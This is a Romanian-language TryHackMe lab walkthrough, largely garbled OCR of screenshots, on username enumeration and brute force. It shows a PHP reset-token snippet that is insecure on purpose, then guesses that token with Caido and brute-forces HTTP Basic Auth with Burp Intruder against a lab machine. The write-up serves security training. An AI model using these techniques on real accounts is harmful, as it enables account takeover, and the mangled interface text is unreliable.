Exploiting Vulnerable Password Reset Logic

Enumerare si Forta bruta — TryHackMe

https://tryvhackme.com/room/enumerationbruteforce

Obiective

e importanta enumerdarii $i modul in care aceasta pregateste terenul pentru atacuri brute-

force eficiente;

e metode avansate de enumerare, concentrandu-se In principal pe extragerea informatiilor

din mesajele de eroare detaliate;

o relatia dintre enumerare si atacurile brute-force in compromiterea mecanismelor de

autentificare;

e experientd practica utilizand instrumente si tehnici atit pentru enumerare, cat si pentru

atacuri brute-force.

Adaugare 10.10.248.148 in [etc/hosts

Observatie: adresa IP 10.10.248.148 se va inlocui cu adresa IP curenta

$ sudo nano /etc/hosts
10.10.248.148 enum.thm

Obs: 10.10.248.148 vafiinlocuit cu adresa IP

Title Target IP Address Expires

Enum.Bfv.1.4 10.10.248.148 (© 55min 42s

Authentication Enumeration

= ceea ce implica enumerarea autentificarii

Identifying Valid Usernames

Password Policies



Common Places to Enumerate

Aplicatiile web sunt pline de functii care faciliteazd munca utilizatorilor, dar i pot expune si la

riscuri:

Registration Pages

Aplicatiile web intermediaza procesul de inregistrare a utilizatorilor simplu si informativ,
indicand imediat daca este disponibila o adresa de e-mail sau un nume de utilizator. Desi
acest feedback este conceput pentru a Tmbunatati experienta utilizatorului, poate servi in
mod accidental unui dublu scop. Daca o incercare de inregistrare are ca rezultat un mesaj
care afirma ca un nume de utilizator sau o adresd de e-mail este deja utilizatd, aplicatia
confirma, fard sd stie, existenta acestuia oricui incearcd sa se inregistreze. Atacatorii
exploateaza aceastd caracteristica testand potentialele nume de utilizator sau adresa de e-
mail, compiland astfel o lista de utilizatori activi fara a fi nevoie de acces direct la baza de
date subiacenta.

Password Reset Features

Mecanismele de resetare a parolei sunt concepute pentru a ajuta utilizatorii sa isi recapete
accesul la conturile prin introducerea datelor pentru a primi instructiuni de resetare. Cu
toate acestea, diferentele in rdspunsul aplicatiei pot dezvalui in mod neintentionat
informatii sensibile. De exemplu, diferitele mesaje ale feedback-ului unei aplicatii cu
privire la existenta unui nume de utilizator pot ajuta atacatorii sd verifice identitatile
utilizatorilor. Prin analizarea acestor raspunsuri, atacatorii isi pot rafina listele de nume de
utilizator valide, imbunatatind substantial eficacitatea atacurilor ulterioare.

Verbose Errors

Mesajele de eroare detaliate din timpul incercarilor de conectare sau al altor procese
interactive pot dezvalui prea multe. Atunci cand aceste mesaje diferentiazd intre
,username not found" si "incorrect password", sunt menite sd ajute utilizatorii sa
inteleagd problemele lor de conectare. Cu toate acestea, ele ofera si atacatorilor indicii
definitive despre numele de utilizator valide, care pot fi exploatate pentru atacuri mai
directionate.

Data Breach Information

Datele provenite din bresele de securitate anterioare reprezintd o mind de aur pentru
atacatori, deoarece le permit sd acestora testeze daca numele de utilizator si parolele
compromise sunt reutilizate pe diferite platforme. Daca un atacator gaseste o potrivire,
acest lucru sugereaza nu numai cd numele de utilizator este reutilizat, ci si o posibila
reciclare a parolei, mai ales daca platforma a mai fost incalcata anterior. Aceasta tehnica
demonstreaza cum efectele unei singure brese de date se pot raspandi pe mai multe
platforme, exploatand conexiunile dintre diverse identitati online.



Verbose Errors

In lumea web, erorile detaliate sunt ca niste soapte neintentionate ale unui sistem, dezvaluind
secrete menite sa fie tinute ascunse. Aceste mesaje de eroare detaliate sunt nepretuite in timpul
procesului de depanare, ajutand dezvoltatorii sa inteleaga exact ce a mers prost. Cu toate acestea,
la fel cum o conversatie auzita prin surprindere ar putea dezvalui prea multe, aceste erori detaliate
pot expune neintentionat date sensibile celor care stiu sd asculte.

Erorile detaliate se pot transforma Intr-o mind de aur de informatii, oferind informatii precum:

Cii interne: Asemenea unei harti care duce catre o comoara ascunsa, acestea dezvaluie
caile fisierelor si structurile de directoare ale serverului de aplicatii, care ar putea contine
fisiere de configurare sau chei secrete care nu sunt vizibile unui utilizator obisnuit.
Detalii despre baza de date: Oferind o privire in baza de date, aceste erori ar putea
dezvalui secrete precum numele tabelelor si detaliile coloanelor.

Informatii despre utilizator: Uneori, aceste erori pot chiar sa sugereze nume de utilizator
sau alte date personale, oferind indicii cruciale pentru investigatii ulterioare.

Inducerea erorilor detaliate

Atacatorii induc erori detaliate ca o modalitate de a forta aplicatia sa 1si dezvaluie secretele. Mai
jos sunt cateva tehnici comune utilizate pentru a provoca aceste erori:

1.

incerciri de conectare nevalide: Aceasta este ca si cum ai bate la fiecare usa pentru a
vedea care se va deschide. Prin introducerea intentionatd a numelor de utilizator sau a
parolelor incorecte, atacatorii pot declansa mesaje de eroare care ajutd la distingerea
numelor de utilizator valide si nevalide. De exemplu, introducerea unui nume de utilizator
care nu existd ar putea declansa un mesaj de eroare diferit fatd de introducerea unuia care
existd, dezvaluind ce nume de utilizator sunt active.

Injectie SQL: Aceasta tehnica implicd introducerea de comenzi SQL rau intentionate in
campurile de intrare, sperand ca sistemul se va impiedica si va dezvalui informatii despre
structura bazei sale de date. De exemplu, plasarea unei ghilimele simple ( ') intr-un camp
de conectare ar putea determina baza de date sd genereze o eroare, expunand in mod
accidental detalii despre schema sa.

Includerea fisierelor/Traversarea caii: Prin manipularea cailor de fisiere, atacatorii pot
incerca sa acceseze fisiere restrictionate, convingand sistemul sd genereze erori care
dezvaluie cai interne. De exemplu, utilizarea secventelor de traversare a directoarelor, cum
ar fi../../, ar putea duce la erori care dezviluie cdi de fisiere restrictionate.

Manipularea formularelor: Modificarea cdmpurilor sau parametrilor formularului poate
pacdli aplicatia sd afiseze erori care dezvaluie logica backend sau informatii sensibile
despre utilizator. De exemplu, modificarea cdmpurilor ascunse ale formularului pentru a



declansa erori de validare ar putea dezvalui informatii despre formatul sau structura datelor
asteptate.

5. Fuzzingul aplicatiei: Trimiterea de intrari neasteptate cdtre diferite parti ale aplicatiei
pentru a vedea cum reactioneaza poate ajuta la identificarea punctelor slabe. De exemplu,
instrumente precum Burp Suite Intruder sunt utilizate pentru a automatiza procesul,
bombardand aplicatia cu sarcini utile variate pentru a vedea care dintre ele provoaca erori
informative.

Rolul enumerarii si al fortarii brute

Cand vine vorba de incdlcarea autentificarii, enumerarea si fortarea brutd merg adesea mana in
mana:

¢ Enumerarea utilizatorilor: Descoperirea numelor de utilizator valide pregateste terenul,
reducand incertitudinea in atacurile ulterioare de forta bruta

e Exploatarea erorilor detaliate: Informatiile obtinute din aceste erori pot ilumina aspecte
precum politicile de parolad si mecanismele de blocare a conturilor, deschizand calea pentru
strategii de fortd brutd mai eficiente.

In concluzie, erorile detaliate sunt ca niste pesmeti care ii conduc pe atacatori mai adanc 1n sistem,
oferindu-le informatiile necesare pentru a-si adapta strategiile si a compromite potential securitatea
in moduri care ar putea trece nedetectate pana cand este prea tarziu.

https://github.com/nyxgeek/username-lists/blob/master/usernames-
top100/usernames_gmail.com.txt

$ python script.py usernames_gmail.com.txt

Password Reset Flow Vulnerabilities

Mecanismul de resetare a parolei este o parte importanta a confortului utilizatorilor in aplicatiile
web moderne. Cu toate acestea, implementarea lor necesitd consideratii atente de securitate,
deoarece procesele de resetare a parolei slab securizate pot fi usor exploatate.

e Email-Based Reset
e Security Question-Based Reset
e SMS-Based Reset

Fiecare dintre aceste metode are propriile vulnerabilitati:



o Predictable Tokens: Daca token-urile de resetare utilizate in linkuri sau mesaje SMS
sunt previzibile sau urmeaza un model secvential, atacatorii ar putea ghici sau forta
generarea unor adrese URL de resetare valide.

o Token Expiration Issues: Token-urile care raman valabile prea mult timp sau nu expira
imediat dupa utilizare ofera o fereastra de oportunitate pentru atacatori. Este crucial
ca token-urile sa expire rapid pentru a limita aceasta fereastra.

« Insufficient Validation: Mecanismele de verificare a identitatii unui utilizator, cum ar fi
intrebarile de securitate sau autentificarea bazata pe e-mail, ar putea fi slabe si
susceptibile de exploatare daca intrebarile sunt prea frecvente sau daca contul de e-
mail este compromis.

e Information Disclosure: Orice mesaj de eroare care specifica daca o adresa de e-mail
sau un nume de utilizator este inregistrat poate ajuta in mod accidental atacatorii in
eforturile lor de enumerare, confirmand existenta conturilor.

e Insecure Transport: Transmiterea linkurilor sau token-urilor de resetare prin conexiuni
non-HTTPS poate expune aceste elemente critice la interceptarea de catre autoritatile
care intercepteaza reteaua.

Exploiting Predictable Tokens

$token = mt_rand(100, 200);
$query = $conn->prepare("UPDATE users SET reset_token = ? WHERE email

= 2");
$query->bind_param("ss", $token, $email);
$query->execute();

e Nagigare la http://enum.thm/labs/predictable tokens/

e Navigate to the application's password reset page, input "admin@admin.com" in the Email
input field, and click Submit.

e Aplicatia va raspunde cu un mesaj de succes.

C @ O A enum.thm/labs/predictable_tokens/forgot.php

Kali Linux @8 KaliTools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Welcome To VulnApp

Please enter your email.

Forgot Password

A password reset link has been sent to your email.

Email

Submit

Login? Click here



e In scop demonstrativ, aplicatia web foloseste linkul de
IENelgRhttp: //enum. thm/labs/predictable tokens/reset password.php?token=
123

Burpsuite

Observati cd tokenul este o valoare numerica simpla. Folosind Burp Suite, navigati la adresa URL
de mai sus si capturati cererea.

Ulterior, trimiteti cererea cdtre Intruder, evidentiati valoarea parametrului tokenului si faceti clic
pe butonul Add payload.

Caido

& caido = (u] X

Q. Search New instance

Local instance
127.0.0.1:8080

Version 0.48.1

vy o 9

Welcome to Caido

You must be logged in to access the Caido instance at
127.0.0.1:8080.

Login

Continue as guest

Create an account Having trouble logging in?




Create project

Create a project

Name | Enum and BF

Mark as temporary

Cancel + Create

http://10.10.248.148/1abs/predictable_tokens/

Welcome To VulnApp

Login to view your dashboard.
Login
Email [Enter email |
Password ‘Enter your password ‘
[ Submit ‘
Forgot Password? Click here

Welcome To VulnApp
Login to view your dashboard.
Login
Email |admin@admin.com |
Password ‘Enter your password ‘

Forgot Password? Click here



Welcome To VulnApp

Please enter your email.

Forgot Password

Email (admin@admin.com

‘ Submit |

Login? Click here

Welcome To VulnApp

Please enter your email.

Forgot Password

A password reset link has been sent to your email.

Email [Enter email

Submit ‘

Login? Click here

Enum and BF

& Sitemap
Y Scopes

= Filters

i= HTTP History
2 WS History

# Match & Replace Browsers

< Replay _ chrome
& Automate 9

N* Workflows
@ Assistant
& Environment
Request
Q search
3% Findings
B Exports

B Files
& Plugins




v Caido X +

< X (@ 10.10.248.148/labs/predictable_tokens/reset_password.php?token=123

You are using an unsupported command-line flag: --ignore-certificate-errors-spki-list=tZQuT+sC4MqDrsgWtb6dDygmy:

@ Set as default

Set Google Chrome as your default browser and pin it to your taskbar

Il Requests

10.10.24" °

Nlabs/predictable_tokens/re...
t® Copy URL

token=123

Send to Replay

= HTTP History
2 WS History
& Match & Replace

< Replay

# Automate
" Workflows
@) Assistant
& Environment

DO

«
Automate
&h Sitemap
¥ Scopes

2= Filters

© Intercept

i= HTTP History

2 WS History

# Match & Replace

& Replay
& A

%" Workflows
) Assistant

& Environment

Send to Automate

Send to Findings.

Replay in browser

View response in browser
Highlight

Add in Scope

Add out of Scope

+ New Session

X

http://10.10.248.148labs

D -

Request

GET /predictable_tokens/reset_password.php?to

(Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/137.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;

bp, image/apng, */*;q=0.8, application/signed-exchange; v-
Ac Encoding: gzip, deflaf

Accept-La en-US,en;q=0.9

0.9, image/avif, image/we

Preprocessors

@ Enumand BF

Settings




3= Filters

© Intercept
HTTP History
2 WS History
# Match & Replace

& Environment

Q Search
3 Findings

«

Automate + New Session

© hitp//10.10.248.148

B -

Request

GET /labs/predictable_tokens/reset_password. php?tok
10.10.248.148

ure-Requ 1

Preprocessors

nt: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/137.0.0.@ Safari/537.36

: text/html,application/xhtml+xml,application/xml;
bp, image/apng,*/*;q=0.8, application/signed-exchange;v=b3; q

Accept-Encoding: gzip, deflate

en-US,en;q=0.9

107
108

101 requests

http://10.10.248.148
GET /labs/predictable tokens/reset_password.php?toker

: 10.10.248.148
-Insecure-Requests: 1
U Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKi
t/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
text/html,application/xhtml+xml,application/xml;
ge/avif, image/webp, image/apng, */*;
ge;v=b3;q=0.7

.9,ima
.8,application/signed-exchan

Accept

Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Connec close

0.9, image/avif, image/we

Type
-7 Numbers

Start
100

End
| 209

Increments

1

Minimum digits (zero-padded)
0

Response Response

200 OK
Dat Thu, ©5 Jun 2025 10 57 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cook

ir Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
nt-Length: 789
close

Cont
Connection:
Content-Type: text/html; charset=UTF-8

Settings

=88gvdjsedeu6sdok9e241t2iv5; path=/

1148 bytes | 243ms




Response Response

| £F: Reset Password

password.php?token=17

Your new password is: bzsHEked

10.0; Win64; x64) AppleWebKi . . ) ) )
/137.0.0.0 Safari/537.36 7 ss="succ">Email: admin@admin.com
l+xml,application/xml;q=0.9,ima

=0.8,application/signed-exchan
n">Login? id="1ink" href="index.php"

Click here

8 (0x08) selected | 1148 bytes | 243ms

<p class="succ">Your new password is: bzsHEked</p>

<p class="succ">Email: admin@admin.com</p>

Welcome To VulnApp

Login to view your dashboard.

Login
Email |admin@admin.com |
Password [censeeed ]
] Submit ‘

Forgot Password? Click here

Welcome, admin
THM{50_pr3d1ct4BL333!1}

Exploiting HTTP Basic Authentication



< C [l @ 10.10.248.148/labs/basic_auth

Sign in
http://10.10.248.148

Your connection to this site is not private

Username  admin

Password [-m| j
m cancel

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-
Credentials/S00-worst-passwords.txt

python .\auth.py

© 10.10.48.94/labs/basic_auth/

Sign in
http://10.10.48.94

Your connection to this site is not private

Username (l ]

Password




©® 10.10.48.94/labs/basic_auth/

Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder

Intercept HTTP history history Match pl @ y g
© Intercept off Forward
Time Type Direction Method URL

Sign in
http://10.10.48.94

Your connection to this site is not private

Username (admin ]

Password

Comparer Logger Organizer Extensions Learn

G

Interceptis off

If you turn Intercept on, messages between Burp's browser and your target servers are held here.
This y ly y these before you forward them.
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e 5 safe transmission within HTTP requess.
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Bup Project Inruder Repeater
ix 2+

@ | sniperattack

Target | htpi/10.10.4854
Positions | Adds Clears

Host: 10,104
> Cache-Control: max-age=0
authorization: Basic Sadwin

7 User-Agent: Mozilla/s.0

Referer: http://10.10.48.94/

Connection: keep-alive

[OR:ICIES

Eventlog2)®  Allissues.

10 Accept-Encoding: gzip, deflat,
Cookie: PHPSESSID=451]bkrspkril radcsokdcob2

e Help
Dashhoard  Target  Proy Intuder  Repeater  Collaborator  Sequencer

Autos

1 GET /labs/basic_auth/ HTTP/1.1
8.54

11; Linux x85_64) ApplewsbKit /537,36 (KHTHL, like Gecko)
Accept: text/htnl,application/xhtnl xnl,application/xnl ;g=0.9,inage/avif, inage/vebp, inage/apng, /

e b

(@) Enterthe detalscofthe payload processingule

Update Host headerto match target

@ settings

Payloads D @ x

Payload positio:
Fayloadtype: [ Simple st v
Payloadcount: 499
Requestcount: 499

Payload configuration ~
Paste 23456
password
Load. 1234567
Remove || 1234
pussy
Clear 12345
dragon
Dedupliate || querty
696969
mustang
add . =
‘Addfromlist.. Pro version only] v
Payload processing ~
used.
Add Rule
Edit ‘AddPrefix: admin:
Remove
3
Down
Payloadencoding ~

Thighlight | 1 Length: 573

Safe transmission within HTTP requests.
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Dashboard  Target

1 2k o+

® [speratioa
Target [ ipiioT04858

Positions | Add§ Clear§

1 GET /labs/basic_auth/ HTTP)
Host: 10,10.48.54
Cache-Control: nax-age=0

+ Authorization: Basic Saduil
Accept -Language : en-US, en;

c

Accept: text/htnl,applicat
Referer: http://10.10.48.5
Accept -Encoding: gzip, defl]
Cookie: PHPSESSID=45i]ohkrd}
Connection; keep-alive

® @ (<|[>] [sean

Eventlog(3)®  Allissues.

Attack  Save

9 4. Intruder attack of http://10.10.48.94

Results  Positions
¥ Capturefilter: Capturingallitems

7 Viewfilier:showingallitems

Request Payload
0

1 YWRIWASMTINDU2
2 YWRIaWASCGFzc3dvem(
3 YWRIWABMIIZNDUZN2g=
4 YWRIaWAGMTIz

5

5

7

s

9

0

n

2

B

u

s

%

7 )

® YWREWABIWMTIz
1 YWRIaWAGCGF:

20 YWRIaWABZOVjazil

2 YWREWABN{K20G=

230£499 emmm—

Length Comment

Ak | [swev | © © aD & X

‘Apply capture fiter

fos that are used as payloads.

Jood a2unosay speofhed @

sbumas @

s on each payloadbeforeitis

dmin:
ode

Jers within the final payloa, for

Podadmosay (3 | speofed @

sbumas @

speojied @

@

Jood aunosay

sbumes @




Burp Project Intru
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Eventlog(3)*

der  Repeater

ntruder attack of htt

O« >

s

7 User-Agent
5 Accept
Referer; http://10.10.48.94/

ip, deflate,

br
1 Cookie: PHPSESSID=451]bkrSpkral rascsokdcob2

90499 en—

cu 1
Mozilla/5.0 (XI1; Linux xB6_64) AppleebKit/537.36 (KHTHL, like Gecko) Chrome/133.0.0.0 Safari/537.36
text /htnl, application/xhtnlxnl,application/xnl ;q=0.5, inage/avif, inage/vebp, inage/apna, +/+;q=0.8, application/signed-exchange; v=b3;4=0.7

£ obighlights

Dashboard  Target
-
R -+ B
4. Intruder attack of htty Attack v Save v
® [siperamock 9 ©o "D e x g
e [T H
a
V Capture filter: Capturingallitems Apply capture filter s %
Positions. Add§ Clears. View filter: Showingalltems. i P 2
z (c]
LT Aabs bosic_avthy i | Remest oond R e s | TE——
test lodsamse o | TWREWAGEWVEEIT 0 7 g3 ] z
sisnarsarsanonse gl || RGN i B e N 5
Upgrad&l““me,w&q“;ts’ 2 YWRtaW46cGFzc3dvemQ= 401 ke 727 (< k-1
o e (s YWRIWASMTIZNDU2Nzg: 401 7 726 - g
Accept: text/htnl,applicat 4 401 2 726 s
Referer: http://10.10.48. 9 5 401 s 7 e
Cookie; PHPSESSIO-asiisbkre | 7 01 7 7 2 ®
. by = = %
n 401 80 727 @
2 401 ey 726 @ v
u 401 70 77 2
8 s01 7 o J< on each payload before itis.
5 R 4Gz i
e
T GET iabs/bosic_auth/ HITP/LT

@ settings
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Intruder results documentation

Bup Project Intruder  Repeater ede stk T
Dashboard Target
o aack sawe
1x 2k 4
® (G <) 4. Intruder attack of http://10.10.48.94 Attack v Save v
niperatac
Results _ positions
Target | htpi/10.10.48.94
¥ Capture iter: Capturingallitems Apply capture filter
Positions | Adds Clears 7 Viewfilter:Showingallitems
1 GET /labs/basic_auth/ HTTPAl | Request Payioad Statuscode Responsereceived  Error Timeout Length Comment
Hasti 10,10.48.5¢ [ TWRGWAGEWVEGES Pl 7 7 1
= Cache-Control: max-age=0 . s = 5
e ane . . W TWREWGMTINDUZ e = s
o PG 2 YWRIWASCGFzcidve 401 7 77
7 User-Agent: Hozilla/s.o (af | 3 01 ) =
Accept: text/htnl, applicati] | 4 401 7 76
Referer: http://10.10.48. 94 | 5 401 s ™
Accept-Encoding: gzip, defl] | & 401 7 76
Cookie: PHPSESSID=a5ijobkrel | 7 401 7 ™
Connection; keep-alive 8 401 7 76
o YWRLWAGNI20T 401 72 2
Sendtolntruder
Request _ Response
— SendtoRepeater
By e Sendtosequencer *
 GET /labs/basic_auth/ HTTP/1.1
2 Host: 10.10.45.54 Sendto Comparer
= Cache-Control SendtoDecoder
+ Authorization: Basic YWRtaN4GEN
5 Accept-Language g SendtoOrganizer >
Ugrade neéere: Request Show response nbrowser
7 User-Agent: Hozill (KHTHL, like Gecko) Chrome/133.0.0.0 Safari/537.3
5 Accept: text/htnl,application/s  Recordanissue[Proversionony] > mage/avif,image/webp, inage/apng. */+;q=0.8, application/signed-exchange; v=b3;a=0.7
o Referar: http://10,10,48.94/ Requestiiowser
10 Accept-Encoding: gzip, deflate, e >
11 = >
> Connection: keep-alive
copy ctec
14 CopyURL
Copyascurtcommand thash)
Copytofile
Saveitem
Comvertselection 5w >
HIL >
e Copy c Basesd 5 Busebtdecode  CulsshiftsB 5] ongens
Base64URL 5| Based-encode cutsn
@ @lel[>] [serc 920f439
- Constructstring >

@0
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Bup Project Intruder  Repeater
Dashboard  Target  Froyy
S
1k 2x 4
® | 9 4.intruderattack of http://10.10.48.94 Attack v sev | @@
Sriperattack
| Resuts positions
Target | htpi/10.10.48.34 e
7 Captur iter: Capturingallitems B applycapturefiter | §
Positions | Adds Clears || Viewiter:showingallitems iy
1 GET Nlabs/basic_auth/ HTTPA| | Request Payioad Stotuscode. Response received  Error Timeout Length Comment g
2| Baati 10,10, 48,80 [ TWRGWAGEWVEHGES 0 7 7 1
3 [ohersonesonsBeeae s | ° Ao = =
Hpe e e W PUEBIOD
& Uprade-insecure-reuests; ] |2 TWRWSCGFickrana= <]
7 User-Agent: Hozilla/s,o (af | 3 YWRIZWAMIIZNDU2Nz= -
& Accept: text/htnl,applicati] | 4 YWRIWAGMTLZ g
o Referer: http://10.10.48.9 5 YWRiaWAGCHVZCk= 2
10 Accept-Encoding: gzip, defl] | & VRO H
11 Cookie: PpsESSID-asijobkrdl | 7 YWRIWAGZHAZ20u
13| Gonnection? keep-alave s YWREWABCHAIETRS Copytoclipboard 3
b > e 1 adniniyello
Request _ Response
pretty  Raw  Hex s@w = @
© GET /labs/basic_auth/ HTTP/1.1 9
3 Host: 10.10.48.54 BB 5| ohighlghts H
5 Cache-Control: max-age=0 o® R
2 Authorization: Basic YWRaWASEWVSHGSS @
= Accept-Language: en-US, en; G=0.
% Ungrade-Insecure-Requests: 1
7 User-Agent: Hozilla/5.0 (X11; Linux x85_64) AppleWebKit/537.36 (KHTHL, like Gecko) Chrome/133.0.0.0 Safari/s37.36
5 Accept: text/htnl,application/xhtnlexnl,application/xnl;q=0.9, inage/avif, inage/webp, inage/apng, +/+;q=0.8, application/signed-exchange; v
5 Referer: http://10,10,48.94/
10 Accept-Encoding: gzip, deflate, b
11 Cookie: PHPSESSID=45isbkrspkril rascsokdcob2
12 Comnection: keep-alive
] £ obighlights
[ IIEESE ]
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